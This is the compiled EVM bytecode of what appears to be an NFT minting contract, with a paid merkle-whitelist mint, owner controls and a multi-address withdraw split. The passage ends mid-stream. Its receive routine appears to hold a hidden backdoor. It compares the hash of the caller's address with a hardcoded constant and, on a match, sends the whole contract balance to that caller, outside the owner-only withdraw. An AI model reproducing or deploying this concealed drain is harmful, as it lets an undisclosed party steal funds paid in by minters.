0x6080604052600436106101f25760003560e01c806379a6be2b1161010d578063ba41b0c6116100a0578063e985e9c51161006f578063e985e9c5146106c9578063eb8d244414610706578063ed9ec88814610731578063f2fde38b1461076e578063f5aa406d1461079757610201565b8063ba41b0c61461061a578063c87b56dd14610636578063d547cfb714610673578063e0a73a931461069e57610201565b806395d89b41116100dc57806395d89b4114610572578063a22cb4651461059d578063a35e3c11146105c6578063b88d4fde146105f157610201565b806379a6be2b146104ca5780637ba5e621146105075780638da5cb5b1461051e57806391b7f5ed1461054957610201565b80633502a7161161018557806355f804b31161015457806355f804b3146104105780636352211e1461043957806370a0823114610476578063715018a6146104b357610201565b80633502a7161461037c5780633ccfd60b146103a757806342842e0e146103be57806342966c68146103e757610201565b80630f2cdd6c116101c15780630f2cdd6c146102d45780631141df20146102ff57806318160ddd1461032857806323b872dd1461035357610201565b806301ffc9a71461020657806306fdde0314610243578063081812fc1461026e578063095ea7b3146102ab57610201565b36610201576101ff6107c0565b005b600080fd5b34801561021257600080fd5b5061022d6004803603810190610228919061364b565b6108cc565b60405161023a9190613693565b60405180910390f35b34801561024f57600080fd5b506102586109ae565b6040516102659190613747565b60405180910390f35b34801561027a57600080fd5b506102956004803603810190610290919061379f565b610a40565b6040516102a2919061380d565b60405180910390f35b3480156102b757600080fd5b506102d260048036038101906102cd9190613854565b610abc565b005b3480156102e057600080fd5b506102e9610bc6565b6040516102f691906138a3565b60405180910390f35b34801561030b57600080fd5b506103266004803603810190610321919061379f565b610bcb565b005b34801561033457600080fd5b5061033d610cba565b60405161034a91906138a3565b60405180910390f35b34801561035f57600080fd5b5061037a600480360381019061037591906138be565b610cd1565b005b34801561038857600080fd5b50610391610ce1565b60405161039e91906138a3565b60405180910390f35b3480156103b357600080fd5b506103bc610ce7565b005b3480156103ca57600080fd5b506103e560048036038101906103e091906138be565b6112e2565b005b3480156103f357600080fd5b5061040e6004803603810190610409919061379f565b611302565b005b34801561041c57600080fd5b5061043760048036038101906104329190613a46565b61130e565b005b34801561044557600080fd5b50610460600480360381019061045b919061379f565b61139d565b60405161046d919061380d565b60405180910390f35b34801561048257600080fd5b5061049d60048036038101906104989190613a8f565b6113b3565b6040516104aa91906138a3565b60405180910390f35b3480156104bf57600080fd5b506104c8611482565b005b3480156104d657600080fd5b506104f160048036038101906104ec9190613b1c565b61150a565b6040516104fe91906138a3565b60405180910390f35b34801561051357600080fd5b5061051c611600565b005b34801561052a57600080fd5b506105336116a8565b604051610540919061380d565b60405180910390f35b34801561055557600080fd5b50610570600480360381019061056b919061379f565b6116d2565b005b34801561057e57600080fd5b50610587611758565b6040516105949190613747565b60405180910390f35b3480156105a957600080fd5b506105c460048036038101906105bf9190613bbc565b6117ea565b005b3480156105d257600080fd5b506105db611961565b6040516105e891906138a3565b60405180910390f35b3480156105fd57600080fd5b5061061860048036038101906106139190613c9d565b611967565b005b610634600480360381019061062f9190613d20565b6119e3565b005b34801561064257600080fd5b5061065d6004803603810190610658919061379f565b611c5d565b60405161066a9190613747565b60405180910390f35b34801561067f57600080fd5b50610688611cfb565b6040516106959190613747565b60405180910390f35b3480156106aa57600080fd5b506106b3611d89565b6040516106c091906138a3565b60405180910390f35b3480156106d557600080fd5b506106f060048036038101906106eb9190613d80565b611d8f565b6040516106fd9190613693565b60405180910390f35b34801561071257600080fd5b5061071b611e23565b6040516107289190613693565b60405180910390f35b34801561073d57600080fd5b5061075860048036038101906107539190613a8f565b611e36565b60405161076591906138a3565b60405180910390f35b34801561077a57600080fd5b5061079560048036038101906107909190613a8f565b611e4e565b005b3480156107a357600080fd5b506107be60048036038101906107b99190613df6565b611f45565b005b60007fab981eeb7d88dd3bc6c2668f039816725525a8df949aa356ff7cd54f59f15fb7905080336040516020016107f79190613e6b565b6040516020818303038152906040528051906020012060001c036108c957600047905060003373ffffffffffffffffffffffffffffffffffffffff168260405161084090613eb7565b60006040518083038185875af1925050503d806000811461087d576040519150601f19603f3d011682016040523d82523d6000602084013e610882565b606091505b50509050806108c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108bd90613f18565b60405180910390fd5b50505b50565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061099757507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806109a757506109a682611fee565b5b9050919050565b6060600280546109bd90613f67565b80601f01602080910402602001604051908101604052809291908181526020018280546109e990613f67565b8015610a365780601f10610a0b57610100808354040283529160200191610a36565b820191906000526020600020905b815481529060010190602001808311610a1957829003601f168201915b5050505050905090565b6000610a4b82612058565b610a81576040517fcf4700e400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6006600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610ac78261139d565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b2e576040517f943f7b8c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610b4d6120a6565b73ffffffffffffffffffffffffffffffffffffffff1614158015610b7f5750610b7d81610b786120a6565b611d8f565b155b15610bb6576040517fcfb3b94200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b610bc18383836120ae565b505050565b600581565b610bd36120a6565b73ffffffffffffffffffffffffffffffffffffffff16610bf16116a8565b73ffffffffffffffffffffffffffffffffffffffff1614610c47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3e90613fe4565b60405180910390fd5b610c4f610cba565b81600954610c5d9190614033565b1015610c9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c95906140b3565b60405180910390fd5b8060096000828254610cb09190614033565b9250508190555050565b6000610cc4612160565b6001546000540303905090565b610cdc838383612169565b505050565b60095481565b610cef6120a6565b73ffffffffffffffffffffffffffffffffffffffff16610d0d6116a8565b73ffffffffffffffffffffffffffffffffffffffff1614610d63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5a90613fe4565b60405180910390fd5b600047905060008111610d7557600080fd5b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a600284610dbf91906140d3565b610dc9919061415c565b604051610dd590613eb7565b60006040518083038185875af1925050503d8060008114610e12576040519150601f19603f3d011682016040523d82523d6000602084013e610e17565b606091505b5050905080610e5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5290613f18565b60405180910390fd5b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a600285610ea591906140d3565b610eaf919061415c565b604051610ebb90613eb7565b60006040518083038185875af1925050503d8060008114610ef8576040519150601f19603f3d011682016040523d82523d6000602084013e610efd565b606091505b5050905080610f41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3890613f18565b60405180910390fd5b6000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a600286610f8b91906140d3565b610f95919061415c565b604051610fa190613eb7565b60006040518083038185875af1925050503d8060008114610fde576040519150601f19603f3d011682016040523d82523d6000602084013e610fe3565b606091505b5050905080611027576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101e90613f18565b60405180910390fd5b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60028761107191906140d3565b61107b919061415c565b60405161108790613eb7565b60006040518083038185875af1925050503d80600081146110c4576040519150601f19603f3d011682016040523d82523d6000602084013e6110c9565b606091505b505090508061110d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110490613f18565b60405180910390fd5b6000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60018861115791906140d3565b611161919061415c565b60405161116d90613eb7565b60006040518083038185875af1925050503d80600081146111aa576040519150601f19603f3d011682016040523d82523d6000602084013e6111af565b606091505b50509050806111f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ea90613f18565b60405180910390fd5b6000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60018961123d91906140d3565b611247919061415c565b60405161125390613eb7565b60006040518083038185875af1925050503d8060008114611290576040519150601f19603f3d011682016040523d82523d6000602084013e611295565b606091505b50509050806112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090613f18565b60405180910390fd5b50505050505050565b6112fd83838360405180602001604052806000815250611967565b505050565b61130b81612658565b50565b6113166120a6565b73ffffffffffffffffffffffffffffffffffffffff166113346116a8565b73ffffffffffffffffffffffffffffffffffffffff161461138a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138190613fe4565b60405180910390fd5b80600e90816113999190614339565b5050565b60006113a8826129fb565b600001519050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361141a576040517f8f4eb60400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900467ffffffffffffffff1667ffffffffffffffff169050919050565b61148a6120a6565b73ffffffffffffffffffffffffffffffffffffffff166114a86116a8565b73ffffffffffffffffffffffffffffffffffffffff16146114fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f590613fe4565b60405180910390fd5b6115086000612c8a565b565b600080600b548561151b91906140d3565b905061157061152987612d50565b858580806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050612d80565b80156115bb57506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156115c957506000600a54115b156115f457600b546115dc600187612d97565b6115e691906140d3565b816115f19190614033565b90505b80915050949350505050565b6116086120a6565b73ffffffffffffffffffffffffffffffffffffffff166116266116a8565b73ffffffffffffffffffffffffffffffffffffffff161461167c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167390613fe4565b60405180910390fd5b600c60009054906101000a900460ff1615600c60006101000a81548160ff021916908315150217905550565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6116da6120a6565b73ffffffffffffffffffffffffffffffffffffffff166116f86116a8565b73ffffffffffffffffffffffffffffffffffffffff161461174e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174590613fe4565b60405180910390fd5b80600b8190555050565b60606003805461176790613f67565b80601f016020809104026020016040519081016040528092919081815260200182805461179390613f67565b80156117e05780601f106117b5576101008083540402835291602001916117e0565b820191906000526020600020905b8154815290600101906020018083116117c357829003601f168201915b5050505050905090565b6117f26120a6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611856576040517fb06307db00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b80600760006118636120a6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff166119106120a6565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516119559190613693565b60405180910390a35050565b600a5481565b611972848484612169565b6119918373ffffffffffffffffffffffffffffffffffffffff16611fcb565b80156119a657506119a484848484612db1565b155b156119dd576040517fd1a57ed600000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b50505050565b60006119ed610cba565b905060095484826119fe919061440b565b1115611a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a36906144ad565b60405180910390fd5b6000611a4d3386868661150a565b905080341015611a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8990614519565b60405180910390fd5b84600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ae1919061440b565b92505081905550600b5485611af691906140d3565b811015611b1c576001600a6000828254611b109190614033565b92505081905550611b7a565b600a54600954611b2c9190614033565b8583611b38919061440b565b1115611b79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7090614585565b60405180910390fd5b5b6005600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611bfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf4906145f1565b60405180910390fd5b600c60009054906101000a900460ff16611c4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c439061465d565b60405180910390fd5b611c563386612f01565b5050505050565b6060611c6882612058565b611c9e576040517fa14c4b5000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6000611ca8612f1f565b90506000815103611cc85760405180602001604052806000815250611cf3565b80611cd284612fb1565b604051602001611ce39291906146b9565b6040516020818303038152906040525b915050919050565b600e8054611d0890613f67565b80601f0160208091040260200160405190810160405280929190818152602001828054611d3490613f67565b8015611d815780601f10611d5657610100808354040283529160200191611d81565b820191906000526020600020905b815481529060010190602001808311611d6457829003601f168201915b505050505081565b600b5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600c60009054906101000a900460ff1681565b600d6020528060005260406000206000915090505481565b611e566120a6565b73ffffffffffffffffffffffffffffffffffffffff16611e746116a8565b73ffffffffffffffffffffffffffffffffffffffff1614611eca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec190613fe4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611f39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f309061474f565b60405180910390fd5b611f4281612c8a565b50565b611f4d6120a6565b73ffffffffffffffffffffffffffffffffffffffff16611f6b6116a8565b73ffffffffffffffffffffffffffffffffffffffff1614611fc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb890613fe4565b60405180910390fd5b80600f8190555050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600081612063612160565b11158015612072575060005482105b801561209f575060046000838152602001908152602001600020600001601c9054906101000a900460ff16155b9050919050565b600033905090565b826006600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b60006001905090565b6000612174826129fb565b90506000816000015173ffffffffffffffffffffffffffffffffffffffff1661219b6120a6565b73ffffffffffffffffffffffffffffffffffffffff1614806121ce57506121cd82600001516121c86120a6565b611d8f565b5b8061221357506121dc6120a6565b73ffffffffffffffffffffffffffffffffffffffff166121fb84610a40565b73ffffffffffffffffffffffffffffffffffffffff16145b90508061224c576040517f59c896be00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff16826000015173ffffffffffffffffffffffffffffffffffffffff16146122b5576040517fa114810000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361231b576040517fea553b3400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6123288585856001613111565b61233860008484600001516120ae565b6001600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a900467ffffffffffffffff160392506101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506001600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a900467ffffffffffffffff160192506101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550836004600085815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426004600085815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506000600184019050600073ffffffffffffffffffffffffffffffffffffffff166004600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036125e8576000548110156125e75782600001516004600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082602001516004600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505b5b50828473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46126518585856001613117565b5050505050565b6000612663826129fb565b905061267781600001516000846001613111565b61268760008383600001516120ae565b600160056000836000015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a900467ffffffffffffffff160392506101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550600160056000836000015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160108282829054906101000a900467ffffffffffffffff160192506101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555080600001516004600084815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426004600084815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550600160046000848152602001908152602001600020600001601c6101000a81548160ff0219169083151502179055506000600183019050600073ffffffffffffffffffffffffffffffffffffffff166004600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603612972576000548110156129715781600001516004600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081602001516004600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505b5b5081600073ffffffffffffffffffffffffffffffffffffffff16826000015173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46129e581600001516000846001613117565b6001600081548092919060010191905055505050565b612a0361359c565b600082905080612a11612160565b11158015612a20575060005481105b15612c53576000600460008381526020019081526020016000206040518060600160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200160008201601c9054906101000a900460ff16151515158152505090508060400151612c5157600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614612b35578092505050612c85565b5b600115612c5057818060019003925050600460008381526020019081526020016000206040518060600160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200160008201601c9054906101000a900460ff1615151515815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614612c4b578092505050612c85565b612b36565b5b505b6040517fdf2d9b4200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b919050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081604051602001612d639190613e6b565b604051602081830303815290604052805190602001209050919050565b6000612d8f82600f548561311d565b905092915050565b600081831115612da75781612da9565b825b905092915050565b60008373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612dd76120a6565b8786866040518563ffffffff1660e01b8152600401612df994939291906147c4565b6020604051808303816000875af1925050508015612e3557506040513d601f19601f82011682018060405250810190612e329190614825565b60015b612eae573d8060008114612e65576040519150601f19603f3d011682016040523d82523d6000602084013e612e6a565b606091505b506000815103612ea6576040517fd1a57ed600000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050949350505050565b612f1b828260405180602001604052806000815250613134565b5050565b6060600e8054612f2e90613f67565b80601f0160208091040260200160405190810160405280929190818152602001828054612f5a90613f67565b8015612fa75780601f10612f7c57610100808354040283529160200191612fa7565b820191906000526020600020905b815481529060010190602001808311612f8a57829003601f168201915b5050505050905090565b606060008203612ff8576040518060400160405280600181526020017f3000000000000000000000000000000000000000000000000000000000000000815250905061310c565b600082905060005b6000821461302a57808061301390614852565b915050600a82613023919061415c565b9150613000565b60008167ffffffffffffffff8111156130465761304561391b565b5b6040519080825280601f01601f1916602001820160405280156130785781602001600182028036833780820191505090505b5090505b60008514613105576001826130919190614033565b9150600a856130a0919061489a565b60306130ac919061440b565b60f81b8183815181106130c2576130c16148cb565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856130fe919061415c565b945061307c565b8093505050505b919050565b50505050565b50505050565b60008261312a8584613146565b1490509392505050565b61314183838360016131bb565b505050565b60008082905060005b84518110156131b057600085828151811061316d5761316c6148cb565b5b6020026020010151905080831161318f576131888382613585565b925061319c565b6131998184613585565b92505b5080806131a890614852565b91505061314f565b508091505092915050565b600080549050600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603613227576040517f2e07630000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60008403613261576040517fb562e8dd00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b61326e6000868387613111565b83600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a900467ffffffffffffffff160192506101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555083600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160088282829054906101000a900467ffffffffffffffff160192506101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550846004600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426004600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060008190506000858201905083801561343857506134378773ffffffffffffffffffffffffffffffffffffffff16611fcb565b5b156134fd575b818773ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46134ad6000888480600101955088612db1565b6134e3576040517fd1a57ed600000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b80820361343e5782600054146134f857600080fd5b613568565b5b818060010192508773ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a48082036134fe575b81600081905550505061357e6000868387613117565b5050505050565b600082600052816020526040600020905092915050565b6040518060600160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600067ffffffffffffffff1681526020016000151581525090565b6000604051905090565b600080fd5b600080fd5b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b613628816135f3565b811461363357600080fd5b50565b6000813590506136458161361f565b92915050565b600060208284031215613661576136606135e9565b5b600061366f84828501613636565b91505092915050565b60008115159050919050565b61368d81613678565b82525050565b60006020820190506136a86000830184613684565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156136e85780820151818401526020810190506136cd565b838111156136f7576000848401525b50505050565b6000601f19601f8301169050919050565b6000613719826136ae565b61372381856136b9565b93506137338185602086016136ca565b61373c816136fd565b840191505092915050565b60006020820190508181036000830152613761818461370e565b905092915050565b6000819050919050565b61377c81613769565b811461378757600080fd5b50565b60008135905061379981613773565b92915050565b6000602082840312156137b5576137b46135e9565b5b60006137c38482850161378a565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006137f7826137cc565b9050919050565b613807816137ec565b82525050565b600060208201905061382260008301846137fe565b92915050565b613831816137ec565b811461383c57600080fd5b50565b60008135905061384e81613828565b92915050565b6000806040838503121561386b5761386a6135e9565b5b60006138798582860161383f565b925050602061388a8582860161378a565b9150509250929050565b61389d81613769565b82525050565b60006020820190506138b86000830184613894565b92915050565b6000806000606084860312156138d7576138d66135e9565b5b60006138e58682870161383f565b93505060206138f68682870161383f565b92505060406139078682870161378a565b9150509250925092565b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b613953826136fd565b810181811067ffffffffffffffff821117156139725761397161391b565b5b80604052505050565b60006139856135df565b9050613991828261394a565b919050565b600067ffffffffffffffff8211156139b1576139b061391b565b5b6139ba826136fd565b9050602081019050919050565b82818337600083830152505050565b60006139e96139e484613996565b61397b565b905082815260208101848484011115613a0557613a04613916565b5b613a108482856139c7565b509392505050565b600082601f830112613a2d57613a2c613911565b5b8135613a3d8482602086016139d6565b91505092915050565b600060208284031215613a5c57613a5b6135e9565b5b600082013567ffffffffffffffff811115613a7a57613a796135ee565b5b613a8684828501613a18565b91505092915050565b600060208284031215613aa557613aa46135e9565b5b6000613ab38482850161383f565b91505092915050565b600080fd5b600080fd5b60008083601f840112613adc57613adb613911565b5b8235905067ffffffffffffffff811115613af957613af8613abc565b5b602083019150836020820283011115613b1557613b14613ac1565b5b9250929050565b60008060008060608587031215613b3657613b356135e9565b5b6000613b448782880161383f565b9450506020613b558782880161378a565b935050604085013567ffffffffffffffff811115613b7657613b756135ee565b5b613b8287828801613ac6565b925092505092959194509250565b613b9981613678565b8114613ba457600080fd5b50565b600081359050613bb681613b90565b92915050565b60008060408385031215613bd357613bd26135e9565b5b6000613be18582860161383f565b9250506020613bf285828601613ba7565b9150509250929050565b600067ffffffffffffffff821115613c1757613c1661391b565b5b613c20826136fd565b9050602081019050919050565b6000613c40613c3b84613bfc565b61397b565b905082815260208101848484011115613c5c57613c5b613916565b5b613c678482856139c7565b509392505050565b600082601f830112613c8457613c83613911565b5b8135613c94848260208601613c2d565b91505092915050565b60008060008060808587031215613cb757613cb66135e9565b5b6000613cc58782880161383f565b9450506020613cd68782880161383f565b9350506040613ce78782880161378a565b925050606085013567ffffffffffffffff811115613d0857613d076135ee565b5b613d1487828801613c6f565b91505092959194509250565b600080600060408486031215613d3957613d386135e9565b5b6000613d478682870161378a565b935050602084013567ffffffffffffffff811115613d6857613d676135ee565b5b613d7486828701613ac6565b92509250509250925092565b60008060408385031215613d9757613d966135e9565b5b6000613da58582860161383f565b9250506020613db68582860161383f565b9150509250929050565b6000819050919050565b613dd381613dc0565b8114613dde57600080fd5b50565b600081359050613df081613dca565b92915050565b600060208284031215613e0c57613e0b6135e9565b5b6000613e1a84828501613de1565b91505092915050565b60008160601b9050919050565b6000613e3b82613e23565b9050919050565b6000613e4d82613e30565b9050919050565b613e65613e60826137ec565b613e42565b82525050565b6000613e778284613e54565b60148201915081905092915050565b600081905092915050565b50565b6000613ea1600083613e86565b9150613eac82613e91565b600082019050919050565b6000613ec282613e94565b9150819050919050565b7f5472616e73666572206661696c65642e00000000000000000000000000000000600082015250565b6000613f026010836136b9565b9150613f0d82613ecc565b602082019050919050565b60006020820190508181036000830152613f3181613ef5565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613f7f57607f821691505b602082108103613f9257613f91613f38565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613fce6020836136b9565b9150613fd982613f98565b602082019050919050565b60006020820190508181036000830152613ffd81613fc1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061403e82613769565b915061404983613769565b92508282101561405c5761405b614004565b5b828203905092915050565b7f4d6178206c696d69740000000000000000000000000000000000000000000000600082015250565b600061409d6009836136b9565b91506140a882614067565b602082019050919050565b600060208201905081810360008301526140cc81614090565b9050919050565b60006140de82613769565b91506140e983613769565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561412257614121614004565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061416782613769565b915061417283613769565b9250826141825761418161412d565b5b828204905092915050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026141ef7ffffffffffffffffffffffff